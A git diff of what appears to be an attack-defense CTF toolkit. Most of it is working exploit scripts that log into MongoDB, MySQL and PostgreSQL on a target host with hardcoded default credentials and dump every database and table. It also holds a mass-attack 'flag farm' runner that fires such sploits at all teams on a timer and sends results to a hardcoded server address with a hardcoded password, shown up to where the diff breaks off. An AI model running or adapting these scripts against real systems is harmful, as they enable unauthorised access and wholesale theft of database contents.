Initial commit
This commit is contained in:
@@ -0,0 +1,106 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
from typing import Any
|
||||
|
||||
# Credentials from creds.md
|
||||
DEFAULT_MONGO_USER = "admin"
|
||||
DEFAULT_MONGO_PASSWORD = "S3cr3tP4ssw0rd"
|
||||
DEFAULT_MONGO_PORT = 27017
|
||||
|
||||
try:
|
||||
from pymongo import MongoClient
|
||||
from pymongo.errors import PyMongoError
|
||||
except Exception:
|
||||
MongoClient = None # type: ignore
|
||||
PyMongoError = Exception # type: ignore
|
||||
|
||||
|
||||
def eprint(*args: Any, **kwargs: Any) -> None:
|
||||
print(*args, file=sys.stderr, **kwargs)
|
||||
|
||||
|
||||
def build_uri(host: str, user: str, password: str, port: int) -> str:
|
||||
# Use admin as authSource by default
|
||||
return f"mongodb://{user}:{password}@{host}:{port}/?authSource=admin"
|
||||
|
||||
|
||||
def dump_all(client: "MongoClient") -> None: # type: ignore[name-defined]
|
||||
"""Enumerate all databases/collections and print JSON lines to stdout."""
|
||||
try:
|
||||
db_names = client.list_database_names()
|
||||
except Exception as ex:
|
||||
eprint(f"[!] Failed to list databases: {ex}")
|
||||
return
|
||||
|
||||
for db_name in db_names:
|
||||
try:
|
||||
db = client[db_name]
|
||||
coll_names = db.list_collection_names()
|
||||
except Exception as ex:
|
||||
eprint(f"[!] Failed to list collections for db={db_name}: {ex}")
|
||||
continue
|
||||
|
||||
for coll_name in coll_names:
|
||||
try:
|
||||
coll = db[coll_name]
|
||||
# Stream documents to stdout as JSONL
|
||||
for doc in coll.find({}):
|
||||
try:
|
||||
# Convert ObjectId and other types using default=str
|
||||
print(json.dumps({
|
||||
"db": db_name,
|
||||
"collection": coll_name,
|
||||
"document": doc,
|
||||
}, default=str), flush=True)
|
||||
except Exception as jex:
|
||||
eprint(f"[!] JSON encode error for {db_name}.{coll_name}: {jex}")
|
||||
continue
|
||||
except Exception as ex:
|
||||
eprint(f"[!] Failed reading collection {db_name}.{coll_name}: {ex}")
|
||||
continue
|
||||
|
||||
|
||||
def main() -> int:
|
||||
if len(sys.argv) < 2:
|
||||
print(f"Usage: {sys.argv[0]} <target>")
|
||||
return 1
|
||||
|
||||
target_host = sys.argv[1]
|
||||
|
||||
if MongoClient is None:
|
||||
eprint("pymongo is not installed, please `pip install pymongo` to run this sploit")
|
||||
return 2
|
||||
|
||||
mongo_user = DEFAULT_MONGO_USER
|
||||
mongo_password = DEFAULT_MONGO_PASSWORD
|
||||
mongo_port = DEFAULT_MONGO_PORT
|
||||
|
||||
uri = build_uri(target_host, mongo_user, mongo_password, mongo_port)
|
||||
try:
|
||||
client = MongoClient(uri, serverSelectionTimeoutMS=3000)
|
||||
# Trigger server selection to validate connection
|
||||
_ = client.admin.command("ping")
|
||||
except PyMongoError as ex: # type: ignore[misc]
|
||||
eprint(f"[!] Connection error to {uri}: {ex}")
|
||||
return 3
|
||||
except Exception as ex:
|
||||
eprint(f"[!] Unexpected error connecting to {uri}: {ex}")
|
||||
return 4
|
||||
|
||||
try:
|
||||
dump_all(client)
|
||||
finally:
|
||||
try:
|
||||
client.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
|
||||
@@ -0,0 +1,189 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
from typing import Any, Dict, Iterable, List
|
||||
|
||||
DEFAULT_MYSQL_USER = "admin"
|
||||
DEFAULT_MYSQL_PASSWORD = "S3cr3tP4ssw0rd"
|
||||
DEFAULT_MYSQL_PORT = 3306
|
||||
|
||||
try:
|
||||
import pymysql
|
||||
from pymysql.cursors import SSCursor, SSDictCursor
|
||||
from pymysql.err import MySQLError, OperationalError
|
||||
except Exception:
|
||||
pymysql = None
|
||||
SSCursor = None
|
||||
SSDictCursor = None
|
||||
MySQLError = Exception
|
||||
OperationalError = Exception
|
||||
|
||||
|
||||
SYSTEM_DBS = {
|
||||
"information_schema",
|
||||
"performance_schema",
|
||||
"mysql",
|
||||
"sys",
|
||||
}
|
||||
|
||||
|
||||
def eprint(*args: Any, **kwargs: Any) -> None:
|
||||
print(*args, file=sys.stderr, **kwargs)
|
||||
|
||||
|
||||
def connect(db: str, host: str, user: str, password: str, port: int):
|
||||
assert pymysql is not None
|
||||
return pymysql.connect(
|
||||
host=host,
|
||||
user=user,
|
||||
password=password,
|
||||
database=db if db else None,
|
||||
port=port,
|
||||
connect_timeout=3,
|
||||
charset="utf8mb4",
|
||||
autocommit=True,
|
||||
cursorclass=SSDictCursor if SSDictCursor is not None else None,
|
||||
)
|
||||
|
||||
|
||||
def list_databases(conn) -> List[str]:
|
||||
dbs: List[str] = []
|
||||
try:
|
||||
with conn.cursor() as cur:
|
||||
cur.execute("SHOW DATABASES")
|
||||
rows = cur.fetchall()
|
||||
for r in rows:
|
||||
name = r[0] if isinstance(r, (tuple, list)) else (r.get("Database") if isinstance(r, dict) else None)
|
||||
if not name:
|
||||
continue
|
||||
if name in SYSTEM_DBS:
|
||||
continue
|
||||
dbs.append(name)
|
||||
except Exception as ex:
|
||||
eprint(f"[!] Failed to list databases: {ex}")
|
||||
return dbs
|
||||
|
||||
|
||||
def list_tables(conn, db: str) -> List[str]:
|
||||
tables: List[str] = []
|
||||
try:
|
||||
with conn.cursor() as cur:
|
||||
cur.execute(
|
||||
"""
|
||||
SELECT table_name
|
||||
FROM information_schema.tables
|
||||
WHERE table_schema=%s AND table_type='BASE TABLE'
|
||||
ORDER BY table_name
|
||||
""",
|
||||
(db,),
|
||||
)
|
||||
rows = cur.fetchall()
|
||||
for r in rows:
|
||||
name = r[0] if isinstance(r, (tuple, list)) else (r.get("table_name") if isinstance(r, dict) else None)
|
||||
if name:
|
||||
tables.append(name)
|
||||
except Exception as ex:
|
||||
eprint(f"[!] Failed to list tables for db={db}: {ex}")
|
||||
return tables
|
||||
|
||||
|
||||
def stream_table_rows(conn, db: str, table: str, batch: int = 1000) -> Iterable[Dict[str, Any]]:
|
||||
"""Yield rows as dicts for given db.table using server-side cursor to stream."""
|
||||
if pymysql is None:
|
||||
return
|
||||
try:
|
||||
with conn.cursor(SSDictCursor if SSDictCursor is not None else None) as cur:
|
||||
identifier = f"`{db}`.`{table}`"
|
||||
cur.execute(f"SELECT * FROM {identifier}")
|
||||
while True:
|
||||
rows = cur.fetchmany(batch)
|
||||
if not rows:
|
||||
break
|
||||
for row in rows:
|
||||
if isinstance(row, dict):
|
||||
yield row
|
||||
else:
|
||||
desc = [d[0] for d in cur.description] if cur.description else []
|
||||
as_dict = {desc[i]: row[i] for i in range(len(desc))}
|
||||
yield as_dict
|
||||
except Exception as ex:
|
||||
eprint(f"[!] Failed to read {db}.{table}: {ex}")
|
||||
return
|
||||
|
||||
|
||||
def dump_all_mysql(host: str, user: str, password: str, port: int) -> None:
|
||||
if pymysql is None:
|
||||
eprint("PyMySQL is not installed, please `pip install pymysql` to run this sploit")
|
||||
return
|
||||
try:
|
||||
root_conn = connect("", host, user, password, port)
|
||||
except OperationalError as ex:
|
||||
eprint(f"[!] Connection error to mysql@{host}:{port}: {ex}")
|
||||
return
|
||||
except Exception as ex:
|
||||
eprint(f"[!] Unexpected error connecting to mysql@{host}:{port}: {ex}")
|
||||
return
|
||||
|
||||
try:
|
||||
dbs = list_databases(root_conn)
|
||||
finally:
|
||||
try:
|
||||
root_conn.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
for db in dbs:
|
||||
try:
|
||||
conn = connect(db, host, user, password, port)
|
||||
except Exception as ex:
|
||||
eprint(f"[!] Failed connecting to db={db}: {ex}")
|
||||
continue
|
||||
|
||||
try:
|
||||
tables = list_tables(conn, db)
|
||||
for table in tables:
|
||||
for row in stream_table_rows(conn, db, table):
|
||||
try:
|
||||
print(
|
||||
json.dumps(
|
||||
{
|
||||
"db": db,
|
||||
"table": table,
|
||||
"row": row,
|
||||
},
|
||||
default=str,
|
||||
),
|
||||
flush=True,
|
||||
)
|
||||
except Exception as jex:
|
||||
eprint(f"[!] JSON encode error for {db}.{table}: {jex}")
|
||||
continue
|
||||
finally:
|
||||
try:
|
||||
conn.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
def main() -> int:
|
||||
if len(sys.argv) < 2:
|
||||
print(f"Usage: {sys.argv[0]} <target>")
|
||||
return 1
|
||||
|
||||
target_host = sys.argv[1]
|
||||
|
||||
mysql_user = os.getenv("MYSQL_USER", DEFAULT_MYSQL_USER)
|
||||
mysql_password = os.getenv("MYSQL_PASSWORD", DEFAULT_MYSQL_PASSWORD)
|
||||
try:
|
||||
mysql_port = int(os.getenv("MYSQL_PORT", str(DEFAULT_MYSQL_PORT)))
|
||||
except ValueError:
|
||||
mysql_port = DEFAULT_MYSQL_PORT
|
||||
|
||||
dump_all_mysql(target_host, mysql_user, mysql_password, mysql_port)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -0,0 +1,171 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
from typing import Any, Dict, Iterable, List, Optional, Tuple
|
||||
|
||||
DEFAULT_PG_USER = "admin"
|
||||
DEFAULT_PG_PASSWORD = "S3cr3tP4ssw0rd"
|
||||
DEFAULT_PG_PORT = 5432
|
||||
DEFAULT_PG_DB = "postgres"
|
||||
|
||||
try:
|
||||
import psycopg2
|
||||
import psycopg2.extras
|
||||
from psycopg2 import OperationalError, sql
|
||||
except Exception:
|
||||
psycopg2 = None
|
||||
OperationalError = Exception
|
||||
sql = None
|
||||
|
||||
|
||||
def eprint(*args: Any, **kwargs: Any) -> None:
|
||||
print(*args, file=sys.stderr, **kwargs)
|
||||
|
||||
|
||||
def connect(dbname: str, host: str, user: str, password: str, port: int):
|
||||
assert psycopg2 is not None
|
||||
return psycopg2.connect(
|
||||
dbname=dbname,
|
||||
host=host,
|
||||
user=user,
|
||||
password=password,
|
||||
port=port,
|
||||
connect_timeout=3,
|
||||
)
|
||||
|
||||
|
||||
def list_databases(conn) -> List[str]:
|
||||
dbs: List[str] = []
|
||||
try:
|
||||
with conn.cursor() as cur:
|
||||
cur.execute(
|
||||
"""
|
||||
SELECT datname
|
||||
FROM pg_database
|
||||
WHERE datistemplate = false
|
||||
ORDER BY datname
|
||||
"""
|
||||
)
|
||||
dbs = [row[0] for row in cur.fetchall()]
|
||||
except Exception as ex:
|
||||
eprint(f"[!] Failed to list databases: {ex}")
|
||||
return dbs
|
||||
|
||||
|
||||
def list_tables(conn) -> List[Tuple[str, str]]:
|
||||
"""Return [(schema, table), ...] for all base tables user can read."""
|
||||
tables: List[Tuple[str, str]] = []
|
||||
try:
|
||||
with conn.cursor() as cur:
|
||||
cur.execute(
|
||||
"""
|
||||
SELECT table_schema, table_name
|
||||
FROM information_schema.tables
|
||||
WHERE table_type='BASE TABLE'
|
||||
AND table_schema NOT IN ('pg_catalog', 'information_schema')
|
||||
ORDER BY table_schema, table_name
|
||||
"""
|
||||
)
|
||||
tables = [(r[0], r[1]) for r in cur.fetchall()]
|
||||
except Exception as ex:
|
||||
eprint(f"[!] Failed to list tables: {ex}")
|
||||
return tables
|
||||
|
||||
|
||||
def stream_table_rows(conn, schema: str, table: str, batch: int = 1000) -> Iterable[Dict[str, Any]]:
|
||||
"""Yield rows as dicts for given schema.table in batches."""
|
||||
try:
|
||||
with conn.cursor(name=f"cur_{schema}_{table}", cursor_factory=psycopg2.extras.DictCursor) as cur:
|
||||
identifier = f'"{schema}"."{table}"'
|
||||
cur.itersize = batch
|
||||
cur.execute(f"SELECT * FROM {identifier}")
|
||||
while True:
|
||||
rows = cur.fetchmany(batch)
|
||||
if not rows:
|
||||
break
|
||||
for row in rows:
|
||||
yield dict(row)
|
||||
except Exception as ex:
|
||||
eprint(f"[!] Failed to read {schema}.{table}: {ex}")
|
||||
return
|
||||
|
||||
|
||||
def dump_all_pg(host: str, user: str, password: str, port: int) -> None:
|
||||
if psycopg2 is None:
|
||||
eprint("psycopg2 is not installed, please `pip install psycopg2-binary` to run this sploit")
|
||||
return
|
||||
try:
|
||||
root_conn = connect(DEFAULT_PG_DB, host, user, password, port)
|
||||
root_conn.autocommit = True
|
||||
except OperationalError as ex:
|
||||
eprint(f"[!] Connection error to postgres@{host}:{port}: {ex}")
|
||||
return
|
||||
except Exception as ex:
|
||||
eprint(f"[!] Unexpected error connecting to postgres@{host}:{port}: {ex}")
|
||||
return
|
||||
|
||||
try:
|
||||
dbs = list_databases(root_conn)
|
||||
finally:
|
||||
try:
|
||||
root_conn.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
for db in dbs:
|
||||
try:
|
||||
conn = connect(db, host, user, password, port)
|
||||
conn.autocommit = True
|
||||
except Exception as ex:
|
||||
eprint(f"[!] Failed connecting to db={db}: {ex}")
|
||||
continue
|
||||
|
||||
try:
|
||||
tables = list_tables(conn)
|
||||
for schema, table in tables:
|
||||
for row in stream_table_rows(conn, schema, table):
|
||||
try:
|
||||
print(
|
||||
json.dumps(
|
||||
{
|
||||
"db": db,
|
||||
"schema": schema,
|
||||
"table": table,
|
||||
"row": row,
|
||||
},
|
||||
default=str,
|
||||
),
|
||||
flush=True,
|
||||
)
|
||||
except Exception as jex:
|
||||
eprint(f"[!] JSON encode error for {db}.{schema}.{table}: {jex}")
|
||||
continue
|
||||
finally:
|
||||
try:
|
||||
conn.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
def main() -> int:
|
||||
if len(sys.argv) < 2:
|
||||
print(f"Usage: {sys.argv[0]} <target>")
|
||||
return 1
|
||||
|
||||
target_host = sys.argv[1]
|
||||
|
||||
pg_user = os.getenv("PGUSER", DEFAULT_PG_USER)
|
||||
pg_password = os.getenv("PGPASSWORD", DEFAULT_PG_PASSWORD)
|
||||
try:
|
||||
pg_port = int(os.getenv("PGPORT", str(DEFAULT_PG_PORT)))
|
||||
except ValueError:
|
||||
pg_port = DEFAULT_PG_PORT
|
||||
|
||||
dump_all_pg(target_host, pg_user, pg_password, pg_port)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -0,0 +1,104 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import sqlite3
|
||||
from typing import Any, Dict, Iterable, List
|
||||
|
||||
|
||||
def eprint(*args: Any, **kwargs: Any) -> None:
|
||||
print(*args, file=sys.stderr, **kwargs)
|
||||
|
||||
|
||||
def connect(db_path: str) -> sqlite3.Connection:
|
||||
conn = sqlite3.connect(db_path, timeout=3)
|
||||
conn.row_factory = sqlite3.Row
|
||||
return conn
|
||||
|
||||
|
||||
def list_tables(conn: sqlite3.Connection) -> List[str]:
|
||||
tables: List[str] = []
|
||||
try:
|
||||
cur = conn.execute(
|
||||
"""
|
||||
SELECT name
|
||||
FROM sqlite_master
|
||||
WHERE type='table' AND name NOT LIKE 'sqlite_%'
|
||||
ORDER BY name
|
||||
"""
|
||||
)
|
||||
rows = cur.fetchall()
|
||||
tables = [r[0] for r in rows]
|
||||
except Exception as ex:
|
||||
eprint(f"[!] Failed to list tables: {ex}")
|
||||
return tables
|
||||
|
||||
|
||||
def stream_table_rows(conn: sqlite3.Connection, table: str, batch: int = 1000) -> Iterable[Dict[str, Any]]:
|
||||
try:
|
||||
cur = conn.execute(f"SELECT * FROM \"{table}\"")
|
||||
while True:
|
||||
rows = cur.fetchmany(batch)
|
||||
if not rows:
|
||||
break
|
||||
for row in rows:
|
||||
try:
|
||||
yield {k: row[k] for k in row.keys()}
|
||||
except Exception:
|
||||
desc = [d[0] for d in cur.description] if cur.description else []
|
||||
yield {desc[i]: row[i] for i in range(len(desc))}
|
||||
except Exception as ex:
|
||||
eprint(f"[!] Failed to read table {table}: {ex}")
|
||||
return
|
||||
|
||||
|
||||
def dump_all_sqlite(db_path: str) -> None:
|
||||
if not os.path.exists(db_path):
|
||||
eprint(f"[!] SQLite database file not found: {db_path}")
|
||||
return
|
||||
|
||||
try:
|
||||
conn = connect(db_path)
|
||||
except Exception as ex:
|
||||
eprint(f"[!] Failed to connect to SQLite db {db_path}: {ex}")
|
||||
return
|
||||
|
||||
try:
|
||||
tables = list_tables(conn)
|
||||
for table in tables:
|
||||
for row in stream_table_rows(conn, table):
|
||||
try:
|
||||
print(
|
||||
json.dumps(
|
||||
{
|
||||
"db": db_path,
|
||||
"table": table,
|
||||
"row": row,
|
||||
},
|
||||
default=str,
|
||||
),
|
||||
flush=True,
|
||||
)
|
||||
except Exception as jex:
|
||||
eprint(f"[!] JSON encode error for {db_path}.{table}: {jex}")
|
||||
continue
|
||||
finally:
|
||||
try:
|
||||
conn.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
def main() -> int:
|
||||
if len(sys.argv) < 2:
|
||||
print(f"Usage: {sys.argv[0]} <sqlite_db_path>")
|
||||
return 1
|
||||
|
||||
db_path = sys.argv[1]
|
||||
dump_all_sqlite(db_path)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
Executable
+619
@@ -0,0 +1,619 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import argparse
|
||||
import binascii
|
||||
import itertools
|
||||
import logging
|
||||
import os
|
||||
import random
|
||||
import re
|
||||
import stat
|
||||
import subprocess
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
from concurrent.futures import ThreadPoolExecutor
|
||||
from enum import Enum
|
||||
from math import ceil
|
||||
from urllib.parse import urljoin
|
||||
|
||||
import requests
|
||||
|
||||
if sys.version_info < (3, 4):
|
||||
logging.critical('Support of Python < 3.4 is not implemented yet')
|
||||
sys.exit(1)
|
||||
|
||||
os_windows = (os.name == 'nt')
|
||||
|
||||
HEADER = '''
|
||||
|
||||
██████╗██╗ ██╗████████╗ ██████╗ ██╗ ██╗████████╗ ███████╗██╗ ██╗██████╗
|
||||
██╔════╝██║ ██║╚══██╔══╝ ██╔══██╗██║ ██║╚══██╔══╝ ██╔════╝██║ ██║██╔══██╗
|
||||
██║ ███████║ ██║ ██████╔╝██║ ██║ ██║ ███████╗███████║██║ ██║
|
||||
██║ ╚════██║ ██║ ██╔══██╗██║ ██║ ██║ ╚════██║╚════██║██║ ██║
|
||||
╚██████╗ ██║ ██║ ██████╔╝╚██████╔╝ ██║ ███████║ ██║██████╔╝
|
||||
╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝ ╚═╝╚═════╝
|
||||
'''[1:]
|
||||
|
||||
|
||||
class Style(Enum):
|
||||
"""
|
||||
Bash escape sequences, see:
|
||||
https://misc.flogisoft.com/bash/tip_colors_and_formatting
|
||||
"""
|
||||
|
||||
BOLD = 1
|
||||
|
||||
FG_BLACK = 30
|
||||
FG_RED = 31
|
||||
FG_GREEN = 32
|
||||
FG_YELLOW = 33
|
||||
FG_BLUE = 34
|
||||
FG_MAGENTA = 35
|
||||
FG_CYAN = 36
|
||||
FG_LIGHT_GRAY = 37
|
||||
|
||||
|
||||
BRIGHT_COLORS = [Style.FG_RED, Style.FG_GREEN, Style.FG_BLUE,
|
||||
Style.FG_MAGENTA, Style.FG_CYAN]
|
||||
|
||||
VERBOSE_LINES = 5
|
||||
|
||||
|
||||
def highlight(text, style=None):
|
||||
if os_windows:
|
||||
return text
|
||||
|
||||
if style is None:
|
||||
style = [Style.BOLD, random.choice(BRIGHT_COLORS)]
|
||||
return '\033[{}m'.format(';'.join(str(item.value) for item in style)) + text + '\033[0m'
|
||||
|
||||
|
||||
log_format = '%(asctime)s {} %(message)s'.format(highlight('%(levelname)s', [Style.FG_YELLOW]))
|
||||
logging.basicConfig(format=log_format, datefmt='%H:%M:%S', level=logging.DEBUG)
|
||||
|
||||
|
||||
def parse_args():
|
||||
parser = argparse.ArgumentParser(description='Run a sploit on all teams in a loop',
|
||||
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
|
||||
|
||||
parser.add_argument('sploit',
|
||||
help="Sploit executable (should take a victim's host as the first argument)")
|
||||
parser.add_argument('--server-url', metavar='URL', default='http://158.160.177.126:5137/',
|
||||
help='Server URL')
|
||||
parser.add_argument('--server-pass', metavar='PASS', default='ebatmftiidtl74231342',
|
||||
help='Server password')
|
||||
parser.add_argument('--interpreter', metavar='COMMAND',
|
||||
help='Explicitly specify sploit interpreter (use on Windows, which doesn\'t '
|
||||
'understand shebangs)')
|
||||
|
||||
parser.add_argument('--pool-size', metavar='N', type=int, default=50,
|
||||
help='Maximal number of concurrent sploit instances. '
|
||||
'Too little value will make time limits for sploits smaller, '
|
||||
'too big will eat all RAM on your computer')
|
||||
parser.add_argument('--attack-period', metavar='N', type=float, default=55,
|
||||
help='Rerun the sploit on all teams each N seconds '
|
||||
'Too little value will make time limits for sploits smaller, '
|
||||
'too big will miss flags from some rounds')
|
||||
|
||||
parser.add_argument('-v', '--verbose-attacks', metavar='N', type=int, default=1,
|
||||
help="Sploits' outputs and found flags will be shown for the N first attacks")
|
||||
|
||||
parser.add_argument('-e', '--endless', default=False, action='store_true',
|
||||
help="Run sploits without timeouts")
|
||||
|
||||
group = parser.add_mutually_exclusive_group()
|
||||
group.add_argument('--not-per-team', action='store_true',
|
||||
help='Run a single instance of the sploit instead of an instance per team')
|
||||
group.add_argument('--distribute', metavar='K/N',
|
||||
help='Divide the team list to N parts (by address hash modulo N) '
|
||||
'and run the sploits only on Kth part of it (K >= 1)')
|
||||
|
||||
return parser.parse_args()
|
||||
|
||||
|
||||
def fix_args(args):
|
||||
check_sploit(args)
|
||||
|
||||
if '://' not in args.server_url:
|
||||
args.server_url = 'http://' + args.server_url
|
||||
|
||||
if args.distribute is not None:
|
||||
valid = False
|
||||
match = re.fullmatch(r'(\d+)/(\d+)', str(args.distribute))
|
||||
if match is not None:
|
||||
k, n = (int(match.group(1)), int(match.group(2)))
|
||||
if n >= 2 and 1 <= k <= n:
|
||||
args.distribute = k, n
|
||||
valid = True
|
||||
|
||||
if not valid:
|
||||
raise ValueError('Wrong syntax for --distribute, use --distribute K/N (N >= 2, 1 <= K <= N)')
|
||||
|
||||
|
||||
SCRIPT_EXTENSIONS = {
|
||||
'.pl': 'perl',
|
||||
'.py': 'python',
|
||||
'.rb': 'ruby',
|
||||
}
|
||||
|
||||
|
||||
def check_script_source(source):
|
||||
errors = []
|
||||
if not os_windows and source[:2] != '#!':
|
||||
errors.append(
|
||||
'Please use shebang (e.g. {}) as the first line of your script'.format(
|
||||
highlight('#!/usr/bin/env python3', [Style.FG_GREEN])))
|
||||
if re.search(r'flush[(=]', source) is None:
|
||||
errors.append(
|
||||
'Please print the newline and call {} each time after your sploit outputs flags. '
|
||||
'In Python 3, you can use {}. '
|
||||
'Otherwise, the flags may be lost (if the sploit process is killed) or '
|
||||
'sent with a delay.'.format(
|
||||
highlight('flush()', [Style.FG_RED]),
|
||||
highlight('print(..., flush=True)', [Style.FG_GREEN])))
|
||||
return errors
|
||||
|
||||
|
||||
class InvalidSploitError(Exception):
|
||||
pass
|
||||
|
||||
|
||||
def check_sploit(args):
|
||||
path = args.sploit
|
||||
if not os.path.isfile(path):
|
||||
raise ValueError('No such file: {}'.format(path))
|
||||
|
||||
extension = os.path.splitext(path)[1].lower()
|
||||
is_script = extension in SCRIPT_EXTENSIONS
|
||||
if is_script:
|
||||
with open(path, 'r', errors='ignore') as f:
|
||||
source = f.read()
|
||||
errors = check_script_source(source)
|
||||
|
||||
if errors:
|
||||
for message in errors:
|
||||
logging.error(message)
|
||||
raise InvalidSploitError('Sploit won\'t be run because of validation errors')
|
||||
|
||||
if os_windows and args.interpreter is None:
|
||||
args.interpreter = SCRIPT_EXTENSIONS[extension]
|
||||
logging.info('Using interpreter `{}`'.format(args.interpreter))
|
||||
|
||||
if not os_windows:
|
||||
file_mode = os.stat(path).st_mode
|
||||
# TODO: May be check the owner and other X flags properly?
|
||||
if not file_mode & stat.S_IXUSR:
|
||||
if is_script:
|
||||
logging.info('Setting the executable bit on `{}`'.format(path))
|
||||
os.chmod(path, file_mode | stat.S_IXUSR)
|
||||
else:
|
||||
raise InvalidSploitError("The provided file doesn't appear to be executable")
|
||||
|
||||
|
||||
if os_windows:
|
||||
# By default, Ctrl+C does not work on Windows if we spawn subprocesses.
|
||||
# Here we fix that using WinApi. See https://stackoverflow.com/a/43095532
|
||||
|
||||
import signal
|
||||
import ctypes
|
||||
from ctypes import wintypes
|
||||
|
||||
kernel32 = ctypes.WinDLL("kernel32", use_last_error=True)
|
||||
|
||||
# BOOL WINAPI HandlerRoutine(
|
||||
# _In_ DWORD dwCtrlType
|
||||
# );
|
||||
PHANDLER_ROUTINE = ctypes.WINFUNCTYPE(wintypes.BOOL, wintypes.DWORD)
|
||||
|
||||
win_ignore_ctrl_c = PHANDLER_ROUTINE() # = NULL
|
||||
|
||||
|
||||
def _errcheck_bool(result, _, args):
|
||||
if not result:
|
||||
raise ctypes.WinError(ctypes.get_last_error())
|
||||
return args
|
||||
|
||||
|
||||
# BOOL WINAPI SetConsoleCtrlHandler(
|
||||
# _In_opt_ PHANDLER_ROUTINE HandlerRoutine,
|
||||
# _In_ BOOL Add
|
||||
# );
|
||||
kernel32.SetConsoleCtrlHandler.errcheck = _errcheck_bool
|
||||
kernel32.SetConsoleCtrlHandler.argtypes = (PHANDLER_ROUTINE, wintypes.BOOL)
|
||||
|
||||
|
||||
@PHANDLER_ROUTINE
|
||||
def win_ctrl_handler(dwCtrlType):
|
||||
if dwCtrlType == signal.CTRL_C_EVENT:
|
||||
kernel32.SetConsoleCtrlHandler(win_ignore_ctrl_c, True)
|
||||
shutdown()
|
||||
return False
|
||||
|
||||
|
||||
kernel32.SetConsoleCtrlHandler(win_ctrl_handler, True)
|
||||
|
||||
|
||||
class APIException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
SERVER_TIMEOUT = 5
|
||||
|
||||
|
||||
def get_auth_headers(args):
|
||||
return {'Authorization': args.server_pass}
|
||||
|
||||
|
||||
def get_config(args):
|
||||
url = urljoin(args.server_url, '/api/get_config')
|
||||
headers = get_auth_headers(args)
|
||||
|
||||
r = requests.get(url, headers=headers, timeout=SERVER_TIMEOUT)
|
||||
if not r.ok:
|
||||
raise APIException(r.text)
|
||||
|
||||
return r.json()
|
||||
|
||||
|
||||
def post_flags(args, flags):
|
||||
sploit_name = os.path.basename(args.sploit)
|
||||
data = [
|
||||
{
|
||||
'flag': item['flag'],
|
||||
'sploit': sploit_name,
|
||||
'team': item['team']
|
||||
} for item in flags
|
||||
]
|
||||
|
||||
url = urljoin(args.server_url, '/api/post_flags')
|
||||
headers = get_auth_headers(args)
|
||||
r = requests.post(url, headers=headers, json=data, timeout=SERVER_TIMEOUT)
|
||||
if not r.ok:
|
||||
raise APIException(r.text)
|
||||
|
||||
|
||||
exit_event = threading.Event()
|
||||
|
||||
|
||||
def once_in_a_period(period):
|
||||
for iter_no in itertools.count(1):
|
||||
start_time = time.time()
|
||||
yield iter_no
|
||||
|
||||
time_spent = time.time() - start_time
|
||||
if period > time_spent:
|
||||
exit_event.wait(period - time_spent)
|
||||
if exit_event.is_set():
|
||||
break
|
||||
|
||||
|
||||
class FlagStorage:
|
||||
"""
|
||||
Thread-safe storage comprised of a set and a post queue.
|
||||
|
||||
Any number of threads may call add(), but only one "consumer thread"
|
||||
may call pick_flags() and mark_as_sent().
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self._flags_seen = set()
|
||||
self._queue = []
|
||||
self._lock = threading.RLock()
|
||||
|
||||
def add(self, flags, team_name):
|
||||
with self._lock:
|
||||
for item in flags:
|
||||
if item not in self._flags_seen:
|
||||
self._flags_seen.add(item)
|
||||
self._queue.append({'flag': item, 'team': team_name})
|
||||
|
||||
def pick_flags(self, count):
|
||||
with self._lock:
|
||||
return self._queue[:count]
|
||||
|
||||
def mark_as_sent(self, count):
|
||||
with self._lock:
|
||||
self._queue = self._queue[count:]
|
||||
|
||||
@property
|
||||
def queue_size(self):
|
||||
with self._lock:
|
||||
return len(self._queue)
|
||||
|
||||
|
||||
flag_storage = FlagStorage()
|
||||
|
||||
POST_PERIOD = 5
|
||||
POST_FLAG_LIMIT = 10000
|
||||
|
||||
|
||||
# TODO: test that 10k flags won't lead to the hangup of the farm server
|
||||
|
||||
|
||||
def run_post_loop(args):
|
||||
try:
|
||||
for _ in once_in_a_period(POST_PERIOD):
|
||||
flags_to_post = flag_storage.pick_flags(POST_FLAG_LIMIT)
|
||||
|
||||
if flags_to_post:
|
||||
try:
|
||||
post_flags(args, flags_to_post)
|
||||
|
||||
flag_storage.mark_as_sent(len(flags_to_post))
|
||||
logging.info('{} flags posted to the server ({} in the queue)'.format(
|
||||
len(flags_to_post), flag_storage.queue_size))
|
||||
except Exception as e:
|
||||
logging.error("Can't post flags to the server: {}".format(repr(e)))
|
||||
logging.info("The flags will be posted next time")
|
||||
except Exception as e:
|
||||
logging.critical('Posting loop died: {}'.format(repr(e)))
|
||||
shutdown()
|
||||
|
||||
|
||||
display_output_lock = threading.RLock()
|
||||
|
||||
|
||||
def display_sploit_output(team_name, output_lines):
|
||||
if not output_lines:
|
||||
logging.info('{}: No output from the sploit'.format(team_name))
|
||||
return
|
||||
|
||||
prefix = highlight(team_name + ': ')
|
||||
with display_output_lock:
|
||||
print('\n' + '\n'.join(prefix + line.rstrip() for line in output_lines) + '\n')
|
||||
|
||||
|
||||
def process_sploit_output(stream, args, team_name, flag_format, attack_no):
|
||||
try:
|
||||
output_lines = []
|
||||
